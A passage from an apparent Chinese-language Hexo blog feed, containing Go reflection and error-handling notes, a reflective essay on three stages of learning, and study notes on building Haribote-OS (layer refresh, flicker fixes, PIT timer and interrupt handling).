reflect.TypeOf(x)) v := reflect.ValueOf(x) fmt.Println("value:", v) fmt.Println("type:", v.Type()) fmt.Println("kind:", v.Kind()) fmt.Println("value:", v.Float()) fmt.Println(v.Interface()) fmt.Printf("value is %5.2e\n", v.Interface()) y := v.Interface().(float64) fmt.Println(y)}</code></pre><blockquote><p>通过反射修改值</p></blockquote><p>当 <code>v := reflect.ValueOf(x)</code> 函数通过传递一个 x 拷贝创建了 v,那么 v 的改变并不能更改原始的 x。要想 v 的更改能作用到 x,那就必须传递 x 的地址 <code>v = reflect.ValueOf(&x)</code>。</p><p>当然,此时的v仍无法进行修改,需调用v.Elem()函数,</p><pre><code class="go">func main() { var x float64 = 3.4 v := reflect.ValueOf(x) // setting a value: // v.SetFloat(3.1415) // Error: will panic: reflect.Value.SetFloat using unaddressable value fmt.Println("settability of v:", v.CanSet()) v = reflect.ValueOf(&x) // Note: take the address of x. fmt.Println("type of v:", v.Type()) fmt.Println("settability of v:", v.CanSet()) v = v.Elem() fmt.Println("The Elem of v is: ", v) fmt.Println("type of v:", v.Type()) fmt.Println("settability of v:", v.CanSet()) v.SetFloat(3.1415) // this works! fmt.Println(v.Interface()) fmt.Println(v)}</code></pre><blockquote><p>反射结构体</p></blockquote><p>有些时候需要反射一个结构类型。<code>NumField()</code> 方法返回结构内的字段数量;通过一个 for 循环用索引取得每个字段的值 <code>Field(i)</code>。</p><p>我们同样能够调用签名在结构上的方法,例如,使用索引 n 来调用:<code>Method(n).Call(nil)</code>。</p><pre><code class="go">package mainimport ( "fmt" "reflect")type NotknownType struct { s1, s2, s3 string}func (n NotknownType) String() string { return n.s1 + " - " + n.s2 + " - " + n.s3}// variable to investigate:var secret interface{} = NotknownType{"Ada", "Go", "Oberon"}func main() { value := reflect.ValueOf(secret) // <main.NotknownType Value> typ := reflect.TypeOf(secret) // main.NotknownType // alternative: //typ := value.Type() // main.NotknownType fmt.Println(typ) knd := value.Kind() // struct fmt.Println(knd) // iterate through the fields of the struct: for i := 0; i < value.NumField(); i++ { fmt.Printf("Field %d: %v\n", i, value.Field(i)) // error: panic: reflect.Value.SetString using value obtained using unexported field //value.Field(i).SetString("C#") } // call the first method, which is String(): results := value.Method(0).Call(nil) fmt.Println(results) // [Ada - Go - Oberon]}</code></pre><p>向反射方法中传入参数</p><pre><code class="go"> params := make([]reflect.Value, 1) params[0] = reflect.ValueOf(20) results := value.Method(0).Call(params)</code></pre><p>设置结构体成员的值</p><p>(成员的首字母应该大写,否则无法访问)</p><pre><code class="go">package mainimport ( "fmt" "reflect")type T struct { A int B string}func main() { t := T{23, "skidoo"} s := reflect.ValueOf(&t).Elem() typeOfT := s.Type() for i := 0; i < s.NumField(); i++ { f := s.Field(i) fmt.Printf("%d: %s %s = %v\n", i, typeOfT.Field(i).Name, f.Type(), f.Interface()) } s.Field(0).SetInt(77) s.Field(1).SetString("Sunset Strip") fmt.Println("t is now", t)}</code></pre><h3 id="接口和动态类型"><a href="#接口和动态类型" class="headerlink" title="接口和动态类型"></a>接口和动态类型</h3><p>接收一个(或多个)接口类型作为参数的函数,其实参可以是任何实现了该接口的类型。 <code>实现了某个接口的类型可以被传给任何以此接口为参数的函数</code> 。</p><blockquote><p>动态方法调用</p></blockquote><h3 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h3><p>Go 检查和报告错误条件的惯有方式:</p><ul><li>产生错误的函数会返回两个变量,一个值和一个错误码;如果后者是 nil 就是成功,非 nil 就是发生了错误。</li><li>为了防止发生错误时正在执行的函数(如果有必要的话甚至会是整个程序)被中止,在调用函数后必须检查错误。</li></ul><p>下面这段来自 pack1 包的代码 Func1 测试了它的返回值:</p><pre><code class="go">if value, err := pack1.Func1(param1); err != nil { fmt.Printf("Error %s in pack1.Func1 with parameter %v", err.Error(), param1) return // or: return err} else { // Process(value)}</code></pre><h3 id="从-panic-中恢复(Recover)"><a href="#从-panic-中恢复(Recover)" class="headerlink" title="从 panic 中恢复(Recover)"></a>从 panic 中恢复(Recover)</h3><p>正如名字一样,这个(recover)内建函数被用于从 panic 或 错误场景中恢复:让程序可以从 panicking 重新获得控制权,停止终止过程进而恢复正常执行。</p><p><code>recover</code> 只能在 defer 修饰的函数(参见 <a href="https://www.cntofu.com/book/14/eBook/06.4.md">6.4 节</a>)中使用:用于取得 panic 调用中传递过来的错误值,如果是正常执行,调用 <code>recover</code> 会返回 nil,且没有其它效果。</p><p>总结:panic 会导致栈被展开直到 defer 修饰的 recover() 被调用或者程序中止。</p><p>下面例子中的 protect 函数调用函数参数 g 来保护调用者防止从 g 中抛出的运行时 panic,并展示 panic 中的信息:</p><pre><code class="go">func protect(g func()) { defer func() { log.Println("done") // Println executes normally even if there is a panic if err := recover(); err != nil { log.Printf("run time panic: %v", err) } }() log.Println("start") g() // possible runtime-error}</code></pre><blockquote><p>参考文章</p><p><a href="https://www.cntofu.com/book/14/index.html">https://www.cntofu.com/book/14/index.html</a></p></blockquote>]]></content>
<categories>
<category> 编程语言 </category>
<category> Go </category>
</categories>
</entry>
<entry>
<title>山还是山,水还是水,你不能永远是那个你</title>
<link href="/2022/03/31/%E6%97%A5%E5%BF%97/%E5%B1%B1%E8%BF%98%E6%98%AF%E5%B1%B1,%E6%B0%B4%E8%BF%98%E6%98%AF%E6%B0%B4,%E4%BD%A0%E4%B8%8D%E8%83%BD%E6%B0%B8%E8%BF%9C%E6%98%AF%E9%82%A3%E4%B8%AA%E4%BD%A0/"/>
<url>/2022/03/31/%E6%97%A5%E5%BF%97/%E5%B1%B1%E8%BF%98%E6%98%AF%E5%B1%B1,%E6%B0%B4%E8%BF%98%E6%98%AF%E6%B0%B4,%E4%BD%A0%E4%B8%8D%E8%83%BD%E6%B0%B8%E8%BF%9C%E6%98%AF%E9%82%A3%E4%B8%AA%E4%BD%A0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote><p>最近感性主导了理性, 很多事都无法好好完成了,昨晚自我反思了很久…</p></blockquote><p>宋代的青原行思大禅师说过这样一段话:”参禅之初,看山是山,看水是水﹔二,禅有悟时,看山不是山,看水不是水﹔三,大彻大悟时,看山仍然是山,看水仍然是水”。</p><p>这是个人很喜欢的一句话,它适用于生活的方方面面,感情、学习、人生观… 等等都能从中学得一二真理。</p><blockquote><p>作为一个学生,还是从学习方面解读一下</p></blockquote><p>见山是山,见水是水: 第一重境界,我们一开始学习的时候,总是会自由的去探索,我们会学到很多结论,虽然从未触及其底层的原理但也能做很多事了。</p><p>这引导我们去实践、思考。</p><p>见山不是山,见水不是水: 第二重境界, 我们通过实践发现,很多东西并不是想象中的那么简单,求知欲会让我们想去了解一个结论背后的原理, 但很多时候下一层的原理又有下下层的结论做支撑,我们的知识储备又很难解释下下层结论的原理。</p><p>这引导我们继续学习、去拓展知识面、不断完善自我的知识体系。</p><p>见山还是山,见水还是水: 第三重境界,我们通过不断学习、思考、实践、拓展,才终能够到达这一重境界。我们不再追逐那些新的结论,因为简单的了解就能知道其背后的原理。我们不再执着于一套固定的解决方案,因为通过对各个结论的组合能做的更好更完美。</p><blockquote><p>要是如此顺风顺水就好了</p></blockquote><p>世上无难事,只要肯坚持,还是能够达到第三重境界的。</p><p>另一方面来说,单纯的处于第一重境界,不去想太多也不是一种坏事。</p><p>难在于处于第二重境界: 看山不是山,看水不是水。我们总是会在这阶段否定自己一开始的想法,但新的想法的出现需要一个长时间的过程,因为其复杂程度很多时候远远大于我们一开始的想法。我们不免得会产生很多的负面感情(焦躁、不解、不自信…),这些负面会阻碍我们新的想法的产生, 我们的负面感情又会因此加深。</p><p>如若没有正确的破局之法,我们会慢慢进入死循环。</p><blockquote><p>破局之关键在于坚持与思考</p></blockquote><p>“天行健,君子以自强不息”</p><p>古人观察天地,得出一个道理: 天的运转持久又刚健,这激励着我们学习其中之道理,应用于生活、学习等方方面面之中。</p><p>一是要坚持:</p><p>知识是成体系的, 我们不可能只学习其中一点就能将其熟练运用, 片面、简单的理解一小部分只会让你拘泥于框架之中,损失了自己的创造能力。我们读一本书的时候,不能因为中途觉得乏味就放弃,坚持读完你肯定会有更大的收获; 我们学习一门计算机语言的时候,不能仅仅去学习其基础知识,坚持学完它的特性,你才能真正提高自己的核心能力( C语言的高性能,底层; python的多种库 ; go的多线程; java的JVM 等等)</p><p>二是要思考:</p><p>我们获取知识主要通过两种方式: 读书和看视频,一本优秀的书籍或一门精彩的课程、其作者肯定在该领域有足够的了解,我们借由这两种方式甚至短暂的进入了第三重境界。但在实际应用的时候又会出现许许多多的问题。原因在于作者不可能面面俱到的将一个知识体系完完全全展现给我们,作者很多时候都是根据其自己的知识体系将其整理成一条线,因此我们在学习的时候,应当尝试思考,举一反三,将作者没涉及到的知识引出来,自主的去学习,提出新的问题,独立的去解决。最后,我们才能获得属于自己的知识面。</p><blockquote><p>总结</p></blockquote><p>疫情起起落落,从19年到现在已经两年多了,大学生活即将结束,又将面对许许多多新的选择。</p><p>在这两年里人生的思考大于技术的学习,因为自己很长时间都无法静下心去学习。</p><p>好在思想在不断的打碎重组,总归有些东西没有停滞,如今或许需要重新出发了。</p><blockquote><p>总有一天你将破蛹而出,成长得比人们期待的还要美丽。<br>但这个过程会很痛,会很辛苦,有时候还会觉得灰心。<br>面对着汹涌而来的现实,觉得自己渺小无力。<br>但这,也是生命的一部分。做好现在你能做的,然后,一切都会好的。<br>我们都将孤独地长大,不要害怕。</p><p>—《踮脚张望的时光》</p></blockquote>]]></content>
<categories>
<category> 日志 </category>
</categories>
</entry>
<entry>
<title>30天自制操作系统-学习笔记 day11~day20</title>
<link href="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/"/>
<url>/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="20220327"><a href="#20220327" class="headerlink" title="20220327"></a>20220327</h2><h3 id="鼠标显示问题(harib08a)"><a href="#鼠标显示问题(harib08a)" class="headerlink" title="鼠标显示问题(harib08a)"></a>鼠标显示问题(harib08a)</h3><blockquote><p>一开始,对鼠标图层界定范围代码</p></blockquote><pre><code class="c"> if (mx < 0) { mx = 0; } if (my < 0) { my = 0; } if (mx > binfo->scrnx - 16) { mx = binfo->scrnx - 16; } if (my > binfo->scrny - 16) { my = binfo->scrny - 16; }</code></pre><p>其在边缘处可移动的范围如下</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220327100442803-16483466869583.png" alt="image-20220327100442803"></p><p>而实际上我们需要让其移动范围如下</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220327100749757.png" alt="image-20220327100749757"></p><blockquote><p>修改主函数的代码如下</p></blockquote><pre><code class="c">if (mx > binfo->scrnx - 1) {mx = binfo->scrnx - 1;}if (my > binfo->scrny - 1) {my = binfo->scrny - 1;}</code></pre><p>在移动到右侧边缘时,产生如下bug</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220327101915810.png" alt="image-20220327101915810"></p><p>关键处在此</p><p>vram[vy * ctl->xsize + vx] = c;</p><h3 id="实现画面外的支持(harib08b)"><a href="#实现画面外的支持(harib08b)" class="headerlink" title="实现画面外的支持(harib08b)"></a>实现画面外的支持(harib08b)</h3><pre><code class="c">void sheet_refreshsub(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1){ int h, bx, by, vx, vy, bx0, by0, bx1, by1; unsigned char *buf, c, *vram = ctl->vram; struct SHEET *sht; /* 如果refresh的范围超出了画面则修正 */ if (vx0 < 0) { vx0 = 0; } if (vy0 < 0) { vy0 = 0; } if (vx1 > ctl->xsize) { vx1 = ctl->xsize; } if (vy1 > ctl->ysize) { vy1 = ctl->ysize; } for (h = 0; h <= ctl->top; h++) { (中略) } return;}</code></pre><p>在for循环前新增了判断,如果图层超过了底板的范围,则将需要刷新的区域限制到底板范围以内</p><span id="more"></span><h3 id="显示窗口harib08d"><a href="#显示窗口harib08d" class="headerlink" title="显示窗口harib08d"></a>显示窗口harib08d</h3><blockquote><p> 创建一个新的图层,用来存储窗口即可</p></blockquote><pre><code class="c">void make_window8(unsigned char *buf, int xsize, int ysize, char *title){ static char closebtn[14][16] = { "OOOOOOOOOOOOOOO@", "OQQQQQQQQQQQQQ$@", "OQQQQQQQQQQQQQ$@", "OQQQ@@QQQQ@@QQ$@", "OQQQQ@@QQ@@QQQ$@", "OQQQQQ@@@@QQQQ$@", "OQQQQQQ@@QQQQQ$@", "OQQQQQ@@@@QQQQ$@", "OQQQQ@@QQ@@QQQ$@", "OQQQ@@QQQQ@@QQ$@", "OQQQQQQQQQQQQQ$@", "OQQQQQQQQQQQQQ$@", "O$$$$$$$$$$$$$$@", "@@@@@@@@@@@@@@@@" }; int x, y; char c; boxfill8(buf, xsize, COL8_C6C6C6, 0, 0, xsize - 1, 0 ); boxfill8(buf, xsize, COL8_FFFFFF, 1, 1, xsize - 2, 1 ); boxfill8(buf, xsize, COL8_C6C6C6, 0, 0, 0, ysize - 1); boxfill8(buf, xsize, COL8_FFFFFF, 1, 1, 1, ysize - 2); boxfill8(buf, xsize, COL8_848484, xsize - 2, 1, xsize - 2, ysize - 2); boxfill8(buf, xsize, COL8_000000, xsize - 1, 0, xsize - 1, ysize - 1); boxfill8(buf, xsize, COL8_C6C6C6, 2, 2, xsize - 3, ysize - 3); boxfill8(buf, xsize, COL8_000084, 3, 3, xsize - 4, 20 ); boxfill8(buf, xsize, COL8_848484, 1, ysize - 2, xsize - 2, ysize - 2); boxfill8(buf, xsize, COL8_000000, 0, ysize - 1, xsize - 1, ysize - 1); putfonts8_asc(buf, xsize, 24, 4, COL8_FFFFFF, title); for (y = 0; y < 14; y++) { for (x = 0; x < 16; x++) { c = closebtn[y][x]; if (c == '@') { c = COL8_000000; } else if (c == '$') { c = COL8_848484; } else if (c == 'Q') { c = COL8_C6C6C6; } else { c = COL8_FFFFFF; } buf[(5 + y) * xsize + (xsize - 21 + x)] = c; } } return;}</code></pre><blockquote><p>主程序修改</p></blockquote><pre><code class="c">void HariMain(void){(中略)struct SHEET *sht_back, *sht_mouse, *sht_win; /* 这里! */unsigned char *buf_back, buf_mouse[256], *buf_win; /* 这里! */(中略)init_palette();shtctl = shtctl_init(memman, binfo->vram, binfo->scrnx, binfo->scrny);sht_back = sheet_alloc(shtctl);sht_mouse = sheet_alloc(shtctl);sht_win = sheet_alloc(shtctl); /* 这里! */buf_back = (unsigned char *) memman_alloc_4k(memman, binfo->scrnx * binfo->scrny);buf_win = (unsigned char *) memman_alloc_4k(memman, 160 * 68); /* 这里! */sheet_setbuf(sht_back, buf_back, binfo->scrnx, binfo->scrny, -1); /* 没有透明色 */sheet_setbuf(sht_mouse, buf_mouse, 16, 16, 99);sheet_setbuf(sht_win, buf_win, 160, 68, -1); /* 没有透明色 */ /* 这里! */init_screen8(buf_back, binfo->scrnx, binfo->scrny);init_mouse_cursor8(buf_mouse, 99);make_window8(buf_win, 160, 68, "window"); /* 这里! */putfonts8_asc(buf_win, 160, 24, 28, COL8_000000, "Welcome to"); /* 这里! */putfonts8_asc(buf_win, 160, 24, 44, COL8_000000, " Haribote-OS!"); /* 这里!*/sheet_slide(sht_back, 0, 0);mx = (binfo->scrnx - 16) / 2; /* 为使其处于画面的中央位置, 计算坐标 */my = (binfo->scrny - 28 - 16) / 2;sheet_slide(sht_mouse, mx, my);sheet_slide(sht_win, 80, 72); /* 这里! */sheet_updown(sht_back, 0);sheet_updown(sht_win, 1); /* 这里! */sheet_updown(sht_mouse, 2);sprintf(s, "(%3d, %3d)", mx, my);putfonts8_asc(buf_back, binfo->scrnx, 0, 0, COL8_FFFFFF, s);sprintf(s, "memory %dMB free : %dKB",memtotal / (1024 * 1024), memman_total(memman) / 1024);putfonts8_asc(buf_back, binfo->scrnx, 0, 32, COL8_FFFFFF, s);sheet_refresh(sht_back, 0, 0, binfo->scrnx, 48);(中略)}</code></pre><h3 id="高速计数器harib08f"><a href="#高速计数器harib08f" class="headerlink" title="高速计数器harib08f"></a>高速计数器harib08f</h3><pre><code class="c">for (;;) { count++; /* 从这里开始 */ sprintf(s, "%010d", count); boxfill8(buf_win, 160, COL8_C6C6C6, 40, 28, 119, 43); putfonts8_asc(buf_win, 160, 40, 28, COL8_000000, s); sheet_refresh(sht_win, 40, 28, 120, 44); /* 到这里结束 */ io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) == 0) { io_sti(); /* 原来是io_stihlt(),现在不做HLT */ } else { (中略) }}</code></pre><p>但是在实际运行中,会出现闪烁的现象。</p><p>为什么会出现这种现象呢? 这是由于在刷新的时候, 总是先刷新refresh<br>范围内的背景图层, 然后再刷新窗口图层, 所以肯定就会闪烁了。 可是<br>我们使用Windows的时候就没见过这种闪烁, 因此肯定有什么好的解决<br>方法。 </p><h3 id="消除闪烁(1)-(harib08g)"><a href="#消除闪烁(1)-(harib08g)" class="headerlink" title="消除闪烁(1) (harib08g)"></a>消除闪烁(1) (harib08g)</h3><p>窗口图层刷新是因为窗口的内容有变化, 所以要在画面上显示变化后的新内容。 基本上来讲, 可以认为其他图层的内容没有变化(如果其他图层的内容也变了, 那么应该会随后执行该图层的刷新) 。 </p><p>综上所述, 仅对refresh对象及其以上的图层进行刷新就可以了。 </p><pre><code class="c">void sheet_refreshsub(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1, inth0){ (中略) for (h = h0; h <= ctl->top; h++) { (中略)} return;}</code></pre><p>引入了一个新的参数h0,代表该图层的高度</p><p>数字部分的背景闪烁问题是解决了, 可是把鼠标放在上面时, 鼠标又闪<br>烁起来了 </p><h3 id="消除闪烁(2)-(harib08h)"><a href="#消除闪烁(2)-(harib08h)" class="headerlink" title="消除闪烁(2) (harib08h)"></a>消除闪烁(2) (harib08h)</h3><p>闪烁现象是由于一会儿描绘一会儿消除造成的。 所以说要想消除闪烁, 就要在刷新窗口时避开鼠标所在的地方<br>对VRAM进行写入处理。</p><blockquote><p>定义一个跟vram大小相同的map,这块内存用来表示画面上的点是哪个图层的像素, 所以它就相当于是图<br>层的地图。 </p></blockquote><p> <img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220328110633925.png" alt="image-20220328110633925"></p><pre><code class="c">struct SHTCTL { unsigned char *vram, *map; /* 这里! */ int xsize, ysize, top; struct SHEET *sheets[MAX_SHEETS]; struct SHEET sheets0[MAX_SHEETS];};struct SHTCTL *shtctl_init(struct MEMMAN *memman, unsigned char *vram, int xsize,int ysize){ struct SHTCTL *ctl; int i; ctl = (struct SHTCTL *) memman_alloc_4k(memman, sizeof (struct SHTCTL)); if (ctl == 0) { goto err; }/ * 从这里开始 */ ctl->map = (unsigned char *) memman_alloc_4k(memman, xsize * ysize); if (ctl->map == 0) { memman_free_4k(memman, (int) ctl, sizeof (struct SHTCTL)); goto err; }/ * 到这里结束 */ ctl->vram = vram; ctl->xsize = xsize; ctl->ysize = ysize; ctl->top = -1; /* 没有一张SHEET */ for (i = 0; i < MAX_SHEETS; i++) {ctl->sheets0[i].flags = 0; /* 未使用标记 */ ctl->sheets0[i].ctl = ctl; /* 记录所属 */ } err: return ctl;}</code></pre><blockquote><p>记录 图层位置</p></blockquote><pre><code class="c">void sheet_refreshmap(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1, inth0){ int h, bx, by, vx, vy, bx0, by0, bx1, by1; unsigned char *buf, sid, *map = ctl->map; struct SHEET *sht; if (vx0 < 0) { vx0 = 0; } if (vy0 < 0) { vy0 = 0; } if (vx1 > ctl->xsize) { vx1 = ctl->xsize; } if (vy1 > ctl->ysize) { vy1 = ctl->ysize; } for (h = h0; h <= ctl->top; h++) { sht = ctl->sheets[h]; sid = sht - ctl->sheets0; /* 将进行了减法计算的地址作为图层号码使用 */ buf = sht->buf; bx0 = vx0 - sht->vx0;by0 = vy0 - sht->vy0; bx1 = vx1 - sht->vx0; by1 = vy1 - sht->vy0; if (bx0 < 0) { bx0 = 0; } if (by0 < 0) { by0 = 0; } if (bx1 > sht->bxsize) { bx1 = sht->bxsize; } if (by1 > sht->bysize) { by1 = sht->bysize; } for (by = by0; by < by1; by++) { vy = sht->vy0 + by; for (bx = bx0; bx < bx1; bx++) { vx = sht->vx0 + bx; if (buf[by * sht->bxsize + bx] != sht->col_inv) { map[vy * ctl->xsize + vx] = sid; } } } } return;}</code></pre><p>这个函数与以前的refreshsub函数基本一样, 只是用色号代替了图层号码而已。 </p><pre><code class="c">void sheet_refreshsub(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1, inth0, int h1){ int h, bx, by, vx, vy, bx0, by0, bx1, by1; unsigned char *buf, *vram = ctl->vram, *map = ctl->map, sid; struct SHEET *sht; /* 如果refresh的范围超出了画面则修正*/ (中略) for (h = h0; h <= h1; h++) { sht = ctl->sheets[h]; buf = sht->buf; sid = sht - ctl->sheets0; /* 利用vx0~vy1, 对bx0~by1进行倒推 */ (中略) for (by = by0; by < by1; by++) { vy = sht->vy0 + by; for (bx = bx0; bx < bx1; bx++) { vx = sht->vx0 + bx; if (map[vy * ctl->xsize + vx] == sid) { vram[vy * ctl->xsize + vx] = buf[by * sht->bxsize + bx]; } } } } return;}</code></pre><p>以后每次刷新区域时,都先对照一下map中该区域该像素是否为该图层的显示区域。</p><blockquote><p>对调用sheet_refreshsub的函数进行修改</p></blockquote><p>刷新指定图层指定区域,由于图层的上下关系没有改变, 所以不需要重新进行refreshmap的处理。 </p><pre><code class="c">void sheet_refresh(struct SHEET *sht, int bx0, int by0, int bx1, int by1){ if (sht->height >= 0) { /* 如果正在显示, 则按新图层的信息进行刷新 */ sheet_refreshsub(sht->ctl, sht->vx0 + bx0, sht->vy0 + by0, sht->vx0 + bx1, sht->vy0 + by1, sht->height, sht->height); } return;}</code></pre><p>移动指定图层 ,移动后,部分下级图层会漏出来,部分图层会被隐藏,因此要对图层移动前的区域及图层移动后的区域重新刷新map。最后调用sheet_refreshsub将两部分区域刷新即可。</p><pre><code class="c">void sheet_slide(struct SHEET *sht, int vx0, int vy0){ struct SHTCTL *ctl = sht->ctl; int old_vx0 = sht->vx0, old_vy0 = sht->vy0; sht->vx0 = vx0; sht->vy0 = vy0; if (sht->height >= 0) { /* 如果正在显示, 则按新图层的信息进行刷新 */ sheet_refreshmap(ctl, old_vx0, old_vy0, old_vx0 + sht->bxsize, old_vy0 +sht->bysize, 0); sheet_refreshmap(ctl, vx0, vy0, vx0 + sht->bxsize, vy0 + sht->bysize,sht->height); sheet_refreshsub(ctl, old_vx0, old_vy0, old_vx0 + sht->bxsize, old_vy0 +sht->bysize, 0,sht->height - 1); sheet_refreshsub(ctl, vx0, vy0, vx0 + sht->bxsize, vy0 + sht->bysize,sht->height,sht->height); } return;}</code></pre><h2 id="20220328"><a href="#20220328" class="headerlink" title="20220328"></a>20220328</h2><h3 id="使用定时器harib09a"><a href="#使用定时器harib09a" class="headerlink" title="使用定时器harib09a"></a>使用定时器harib09a</h3><blockquote><p> 定时器原理</p></blockquote><p>每隔一段时间(比如0.01秒)就发送一个中断信号给CPU,</p><p>CPU可以在中断处理程序中记录下中断次数,</p><p>其他程序就可以通过获取这个前后的次数来进行时间间隔的判断。</p><blockquote><p>管理定时器</p></blockquote><p>要在电脑中管理定时器, 只需对PIT进行设定就可以了。 PIT是“Programmable Interval Timer”的缩写, 翻译过来就是“可编程的间隔型定时器”。 我们可以通过设定PIT, 让定时器每隔多少秒就产生一次中断。因为在电脑中PIT连接着IRQ(interrupt request, 参考第6章) 的0号, 所以只要设定了PIT就可以设定IRQ0的中断间隔。</p><p> IRQ0的中断周期变更:</p><ol><li>AL=0x34:OUT(0x43,AL);</li><li>AL=中断周期的低8位; OUT(0x40,AL);</li><li>AL=中断周期的高8位; OUT(0x40,AL);</li><li>到这里告一段落。</li><li>如果指定中断周期为0, 会被看作是指定为65536。 实际的中断产<br>生的频率是单位时间时钟周期数(即主频) /设定的数值。 比如<br>设定值如果是1000, 那么中断产生的频率就是1.19318KHz。 设<br>定值是10000的话, 中断产生频率就是119.318Hz。 再比如设定值<br>是11932的话, 中断产生的频率大约就是100Hz了, 即每10ms发<br>生一次中断。 </li></ol><blockquote><p>初始化定时器</p></blockquote><pre><code class="c">#define PIT_CTRL 0x0043#define PIT_CNT0 0x0040void init_pit(void){ io_out8(PIT_CTRL, 0x34); io_out8(PIT_CNT0, 0x9c); io_out8(PIT_CNT0, 0x2e); return;}</code></pre><pre><code class="c">init_pit(); /* 这里! */io_out8(PIC0_IMR, 0xf8); /* PIT和PIC1和键盘设置为许可(11111000) */ /* 这里! */io_out8(PIC1_IMR, 0xef); /* 鼠标设置为许可(11101111) */</code></pre><blockquote><p>IRQ0中断处理程序</p></blockquote><pre><code class="c">void inthandler20(int *esp){io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00信号接收完了的信息通知给PIC *//* 暂时什么也不做 */return;}</code></pre><pre><code class="assembly">_asm_inthandler20: PUSH ES PUSH DS PUSHAD MOV EAX,ESP PUSH EAX MOV AX,SS MOV DS,AX MOV ES,AX CALL _inthandler20 POP EAX POPAD POP DS POP ES IRETD</code></pre><blockquote><p>注册到IDT中</p></blockquote><pre><code class="c">void init_gdtidt(void){(中略) /* IDT的设定 */ set_gatedesc(idt + 0x20, (int) asm_inthandler20, 2 * 8, AR_INTGATE32); /* 这 里! */ set_gatedesc(idt + 0x21, (int) asm_inthandler21, 2 * 8, AR_INTGATE32); set_gatedesc(idt + 0x27, (int) asm_inthandler27, 2 * 8, AR_INTGATE32); set_gatedesc(idt + 0x2c, (int) asm_inthandler2c, 2 * 8, AR_INTGATE32); return;}</code></pre><h3 id="计量时间harib09b"><a href="#计量时间harib09b" class="headerlink" title="计量时间harib09b"></a>计量时间harib09b</h3><pre><code class="c">struct TIMERCTL {unsigned int count;};</code></pre><pre><code class="c">struct TIMERCTL timerctl;void init_pit(void){ io_out8(PIT_CTRL, 0x34); io_out8(PIT_CNT0, 0x9c); io_out8(PIT_CNT0, 0x2e); timerctl.count = 0; /* 这里! */ return;} void inthandler20(int *esp){ io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00信号接收完了的信息通知给PIC */ timerctl.count++; /* 这里! */ return;}</code></pre><p>每次中断处理都让其+1</p><p>也即每1秒它都会自动增加100</p><pre><code class="c">void HariMain(void){ (中略)for (;;) { sprintf(s, "%010d", timerctl.count); /* 这里! */ boxfill8(buf_win, 160, COL8_C6C6C6, 40, 28, 119, 43); putfonts8_asc(buf_win, 160, 40, 28, COL8_000000, s); sheet_refresh(sht_win, 40, 28, 120, 44); (中略) }}</code></pre><h3 id="超时功能"><a href="#超时功能" class="headerlink" title="超时功能"></a>超时功能</h3><pre><code class="c">#include "bootpack.h"#define PIT_CTRL 0x0043#define PIT_CNT0 0x0040struct TIMERCTL timerctl;void init_pit(void){ io_out8(PIT_CTRL, 0x34); io_out8(PIT_CNT0, 0x9c); io_out8(PIT_CNT0, 0x2e); timerctl.count = 0; timerctl.timeout = 0; return;}void inthandler20(int *esp){ io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00信号接收结束的信息通知给PIC */ timerctl.count++; if (timerctl.timeout > 0) { /* 如果已经设定了超时 */ timerctl.timeout--; if (timerctl.timeout == 0) { fifo8_put(timerctl.fifo, timerctl.data); } } return;}void settimer(unsigned int timeout, struct FIFO8 *fifo, unsigned char data){ int eflags; eflags = io_load_eflags(); io_cli(); timerctl.timeout = timeout; timerctl.fifo = fifo; timerctl.data = data; io_store_eflags(eflags); return;}</code></pre><p>程序若需要延时,就通过settimer来进行设置,fifo和data用于计时器计时结束后和程序交互信息。</p><p>定时器在中断处理程序中检查是否有需要延时的程序(根据timeout的值)</p><blockquote><p>验证程序</p></blockquote><pre><code class="c">void HariMain(void){ (中略) struct FIFO8 timerfifo; char s[40], keybuf[32], mousebuf[128], timerbuf[8]; (中略) fifo8_init(&timerfifo, 8, timerbuf); settimer(1000, &timerfifo, 1); (中略) for (;;) { (中略) io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) + 